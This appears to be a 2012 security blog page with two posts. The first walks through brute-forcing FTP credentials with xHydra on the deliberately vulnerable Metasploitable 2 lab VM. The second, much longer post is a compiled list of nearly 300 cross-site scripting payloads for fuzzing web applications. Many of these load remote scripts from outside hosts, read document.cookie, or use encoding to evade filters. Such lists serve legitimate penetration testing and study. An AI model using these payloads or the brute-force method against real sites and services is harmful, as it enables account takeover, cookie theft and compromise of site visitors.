Thursday, June 28, 2012

BackTrack and Metasploitable 2 - Brute Forcing FTP

Metasploitable 2 is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. You can download Metasploitable 2 here. I will be using BackTrack 5 R2 to test and exploit the Metasploitable virtual machine.

Getting started is easy. Start your BackTrack and Metasploitable VMs and make sure they can communicate with each other. If they can't ping each other make sure they have the proper addresses (you may need to run 'dhclient' on your BackTrack machine). Now that our machines can talk to each other, let's use BackTrack to see what's running on Metasploitable. We are going to use nmap to get an idea of what is running on the Metasploitable VM. We can use the -sV flag to enable version detection which will give us more information about the found services.
This nmap scan tells us there are a lot of open services. In this post I am going to focus on FTP, and in following posts I will be concentrating on SSH and Telnet. These three services are extremely useful for attackers when trying to gain access to a system. These services should be disabled if not needed or at least strongly protected. Starting with the first service found, let's get access via FTP:

Brute Forcing FTP Using xHydra

Most attackers will usually check if anonymous FTP is enabled before doing anything. In most environments anonymous FTP should be disabled. The next step would be brute forcing an authenticated account. I used xHydra to do this because it provides a nice GUI.
Putting in our target:
Entering our username(s) and password(s), here I am using a small list for testing purposes. Larger lists can be found at Skull Security
The only thing I changed in the Tuning window was the Number of Tasks.
Under the Specific tab the only thing I added was the "http / https url" which is your target IP address.

Start! Because I used small wordlists with credentials I knew would work, it didn't take very long before we got a hit!

Here is the result, logged in using msfadmin:msfadmin
To make things look nice I connected with the same credentials using FireFTP Done! Using the brute force method does not always work, but if an attacker does their reconnaissance and gets enough information about their target, they can be rather successful.

Thursday, June 21, 2012

Collection of Cross-Site Scripting (XSS) Payloads

Here is a compiled list of Cross-Site Scripting (XSS) payloads, 298 in total, from various sites. These payloads are great for fuzzing for both reflective and persistent XSS. A lot of the payloads will only work if certain conditions are met, however this list should give a pretty good indication of whether or not an application is vulnerable to any sort of XSS. I also included some HTML5 specific payloads.

How should you use this? You can either keep it as a reference list or insert this list into something like Burp Intruder which has different options for inserting and submitting the payloads.

Must be logged in to Google Docs: xss_payloads_6-20-12.txt
<script>alert(123)</script>
<script>alert("hellox worldss");</script>
javascript:alert("hellox worldss")
<img src="javascript:alert('XSS');">
<img src=javascript:alert(&quot;XSS&quot;)>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
<script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
<script>alert("XSS");</script>&search=1
0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=alert('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form><button formaction="javascript:alert(XSS)">lol
<!--<img src="--><img src=x onerror=alert(XSS)//">
<![><img src="]><img src=x onerror=alert(XSS)//">
<style><img src="</style><img src=x onerror=alert(XSS)//">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<? foo="><x foo='?><script>alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
<% foo><x foo="%><script>alert(123)</script>">
<div style="font-family:'foo&#10;;color:red;';">LOL
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
<script>({0:#0=alert/#0#/#0#(0)})</script>
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
&lt;SCRIPT&gt;alert(/XSS/&#46;source)&lt;/SCRIPT&gt;
\\";alert('XSS');//
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(\"XSS\");&lt;/SCRIPT&gt;
&lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;BODY BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;BODY ONLOAD=alert('XSS')&gt;
&lt;IMG DYNSRC=\"javascript&#058;alert('XSS')\"&gt;
&lt;IMG LOWSRC=\"javascript&#058;alert('XSS')\"&gt;
&lt;BGSOUND SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;BR SIZE=\"&{alert('XSS')}\"&gt;
&lt;LAYER SRC=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/LAYER&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"javascript&#058;alert('XSS');\"&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;css\"&gt;
&lt;STYLE&gt;@import'http&#58;//ha&#46;ckers&#46;org/xss&#46;css';&lt;/STYLE&gt;
&lt;META HTTP-EQUIV=\"Link\" Content=\"&lt;http&#58;//ha&#46;ckers&#46;org/xss&#46;css&gt;; REL=stylesheet\"&gt;
&lt;STYLE&gt;BODY{-moz-binding&#58;url(\"http&#58;//ha&#46;ckers&#46;org/xssmoz&#46;xml#xss\")}&lt;/STYLE&gt;
&lt;XSS STYLE=\"behavior&#58; url(xss&#46;htc);\"&gt;
&lt;STYLE&gt;li {list-style-image&#58; url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
&lt;IMG SRC='vbscript&#058;msgbox(\"XSS\")'&gt;
&lt;IMG SRC=\"mocha&#58;&#91;code&#93;\"&gt;
&lt;IMG SRC=\"livescript&#058;&#91;code&#93;\"&gt;
žscriptualert(EXSSE)ž/scriptu
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript&#058;alert('XSS');\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http&#58;//;URL=javascript&#058;alert('XSS');\"
&lt;IFRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/IFRAME&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/FRAMESET&gt;
&lt;TABLE BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
&lt;DIV STYLE=\"background-image&#58;\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028&#46;1027\0058&#46;1053\0053\0027\0029'\0029\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
&lt;DIV STYLE=\"width&#58; expression(alert('XSS'));\"&gt;
&lt;STYLE&gt;@im\port'\ja\vasc\ript&#58;alert(\"XSS\")';&lt;/STYLE&gt;
&lt;IMG STYLE=\"xss&#58;expr/*XSS*/ession(alert('XSS'))\"&gt;
&lt;XSS STYLE=\"xss&#58;expression(alert('XSS'))\"&gt;
exp/*&lt;A STYLE='no\xss&#58;noxss(\"*//*\");
xss&#58;ex&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'&gt;
&lt;STYLE TYPE=\"text/javascript\"&gt;alert('XSS');&lt;/STYLE&gt;
&lt;STYLE&gt;&#46;XSS{background-image&#58;url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
&lt;STYLE type=\"text/css\"&gt;BODY{background&#58;url(\"javascript&#058;alert('XSS')\")}&lt;/STYLE&gt;
&lt;!--&#91;if gte IE 4&#93;&gt;
&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;
&lt;!&#91;endif&#93;--&gt;
&lt;BASE HREF=\"javascript&#058;alert('XSS');//\"&gt;
&lt;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;alert('XSS')&gt;&lt;/OBJECT&gt;
&lt;EMBED SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;swf\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
&lt;EMBED SRC=\"data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
a=\"get\";
b=\"URL(\\"\";
c=\"javascript&#058;\";
d=\"alert('XSS');\\")\";
eval(a+b+c+d);
&lt;HTML xmlns&#58;xss&gt;&lt;?import namespace=\"xss\" implementation=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;htc\"&gt;&lt;xss&#58;xss&gt;XSS&lt;/xss&#58;xss&gt;&lt;/HTML&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC=\"javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;alert('XSS');\"&gt;&#93;&#93;&gt;
&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;XML ID=\"xss\"&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=\"javas&lt;!-- --&gt;cript&#58;alert('XSS')\"&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"&gt;&lt;/SPAN&gt;
&lt;XML SRC=\"xsstest&#46;xml\" ID=I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;HTML&gt;&lt;BODY&gt;
&lt;?xml&#58;namespace prefix=\"t\" ns=\"urn&#58;schemas-microsoft-com&#58;time\"&gt;
&lt;?import namespace=\"t\" implementation=\"#default#time2\"&gt;
&lt;t&#58;set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"&gt;
&lt;/BODY&gt;&lt;/HTML&gt;
&lt;SCRIPT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;jpg\"&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd=\"/bin/echo '&lt;SCR'\"--&gt;&lt;!--#exec cmd=\"/bin/echo 'IPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;'\"--&gt;
&lt;? echo('&lt;SCR)';
echo('IPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;'); ?&gt;
&lt;IMG SRC=\"http&#58;//www&#46;thesiteyouareon&#46;com/somecommand&#46;php?somevariables=maliciouscode\"&gt;
Redirect 302 /a&#46;jpg http&#58;//victimsite&#46;com/admin&#46;asp&deleteuser
&lt;META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\"&gt;
&lt;HEAD&gt;&lt;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
&lt;SCRIPT a=\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT =\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;\" '' SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT \"a='&gt;'\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;` SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;'&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document&#46;write(\"&lt;SCRI\");&lt;/SCRIPT&gt;PT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;A HREF=\"http&#58;//66&#46;102&#46;7&#46;147/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//1113982867/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//0x42&#46;0x0000066&#46;0x7&#46;0x93/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//0102&#46;0146&#46;0007&#46;00000223/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"htt p&#58;//6 6&#46;000146&#46;0x7&#46;147/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"//www&#46;google&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"//google\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//ha&#46;ckers&#46;org@google\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#58;ha&#46;ckers&#46;org\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;google&#46;com&#46;/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"javascript&#058;document&#46;location='http&#58;//www&#46;google&#46;com/'\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;gohttp&#58;//www&#46;google&#46;com/ogle&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&lt;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
&lt;iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
&lt;IMG SRC=\"javascript&#058;alert('XSS')\"
&lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js?&lt;B&gt;
&lt;&lt;SCRIPT&gt;alert(\"XSS\");//&lt;&lt;/SCRIPT&gt;
&lt;SCRIPT/SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/|\&#93;^`=alert(\"XSS\")&gt;
&lt;SCRIPT/XSS SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;IMG SRC=\"   javascript&#058;alert('XSS');\"&gt;
perl -e 'print \"&lt;SCR\0IPT&gt;alert(\\"XSS\\")&lt;/SCR\0IPT&gt;\";' &gt; out
perl -e 'print \"&lt;IMG SRC=java\0script&#058;alert(\\"XSS\\")&gt;\";' &gt; out
&lt;IMG SRC=\"jav&#x0D;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=\"jav&#x0A;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=\"jav&#x09;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt;
&lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041&gt;
&lt;IMG SRC=javascript&#058;alert('XSS')&gt;
&lt;IMG SRC=javascript&#058;alert(String&#46;fromCharCode(88,83,83))&gt;
&lt;IMG \"\"\"&gt;&lt;SCRIPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;\"&gt;
&lt;IMG SRC=`javascript&#058;alert(\"RSnake says, 'XSS'\")`&gt;
&lt;IMG SRC=javascript&#058;alert(&quot;XSS&quot;)&gt;
&lt;IMG SRC=JaVaScRiPt&#058;alert('XSS')&gt;
&lt;IMG SRC=javascript&#058;alert('XSS')&gt;
&lt;IMG SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;
'';!--\"&lt;XSS&gt;=&{()}
';alert(String&#46;fromCharCode(88,83,83))//\';alert(String&#46;fromCharCode(88,83,83))//\";alert(String&#46;fromCharCode(88,83,83))//\\";alert(String&#46;fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;\"&gt;'&gt;&lt;SCRIPT&gt;alert(String&#46;fromCharCode(88,83,83))&lt;/SCRIPT&gt;
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascrscriptipt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"></BODY></HTML>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
<form><button formaction="javascript:alert(123)">crosssitespt
<frameset onload=alert(123)>
<!--<img src="--><img src=x onerror=alert(123)//">
<style><img src="</style><img src=x onerror=alert(123)//">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="javascript:alert(1)">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<script>({0:#0=alert/#0#/#0#(123)})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
<script src="#">{alert(1)}</script>;1
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
<svg xmlns="#"><script>alert(1)</script></svg>
<svg onload="javascript:alert(123)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:alert(1)"></iframe>
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
%253cscript%253ealert(document.cookie)%253c/script%253e
“><s”%2b”cript>alert(document.cookie)</script>
“><ScRiPt>alert(document.cookie)</script>
“><<script>alert(document.cookie);//<</script>
foo<script>alert(document.cookie)</script>
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E
‘; alert(document.cookie); var foo=’
foo\’; alert(document.cookie);//’;
</script><script >alert(document.cookie)</script>
<img src=asdf onerror=alert(document.cookie)>
<BODY ONLOAD=alert(’XSS’)>
<script>alert(1)</script>
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
  

Sources

Some of the payloads on this list I created or modified, however a large majority of them are from one of the following sources which I would like to give full credit to.

http://www.breakthesecurity.com/2012/02/complete-cross-site-scriptingxss-cheat.html
http://www.anautonomouszone.com/blog/xss-cheat-sheet
http://www.ha.ckers.org/xss.html
http://www.xenuser.org/xss-cheat-sheet/
http://www.iexploit.org/showthread.php?tid=262
http://www.thisislegal.com/tutorials/19
http://code.google.com/p/html5security/
http://www.thespanner.co.uk/2009/03/20/html5-xss/
http://www.html5sec.org/